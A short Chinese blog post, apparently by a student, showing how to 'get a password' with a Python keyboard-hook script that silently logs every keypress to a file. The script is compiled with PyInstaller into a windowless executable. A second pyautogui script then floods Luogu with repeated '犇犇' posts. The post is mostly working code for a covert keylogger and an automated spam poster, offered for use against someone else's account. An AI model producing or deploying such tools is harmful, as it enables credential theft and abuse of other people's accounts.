前言
看到同班巨佬的文章。
然而:C++ 虚拟键值表的代码又长又难看,作为 Python3 转 C++ 的蒟蒻,我只能说:
准备
使用 pip 安装 Python 第三方库 keyboard 和 pyautogui:
python -m pip install -U keyboard pyautogui -i https://pypi.tuna.tsinghua.edu.cn/simple
python -m pip install -U opencv-python==4.5.4.60 -i https://pypi.tuna.tsinghua.edu.cn/simple
获取密码
使用如下 Python 程序实现实时监听键盘:
import keyboard
PATH = 'pwd.txt' # 文件路径
open(PATH, 'w+', encoding='utf-8') # 清空原文件
def callback(event):
with open(PATH, 'a', encoding='utf-8') as f:
print(event.name, file=f)
keyboard.on_press(callback)
keyboard.wait('esc') # 按 Esc 退出监听编译
下载 Python 打包工具:
python -m pip install pyinstaller -i https://pypi.tuna.tsinghua.edu.cn/simple
pyinstaller -F jc.py -w
在 ./dist/ 中有 jc.exe 文件,无窗口。
自动发犇
使用 pyautogui 控制鼠标。
# 打开洛谷首页,划到发犇页面
from pyautogui import *
# 自动识别“发送犇犇”按钮位置
left, up, width, height = locateOnScreen('benben_press.jpg', confidence=0.8)
print(left, up, width, height)
n = int(input('输入犇犇发送条数:'))
content = input('输入犇犇内容:')
for _ in range(n):
moveTo(left + 20, up - 80)
click()
typewrite(content, interval=0.05) # 每个按键时间间隔为0.05s
moveTo(left + 20, up + 10)
click()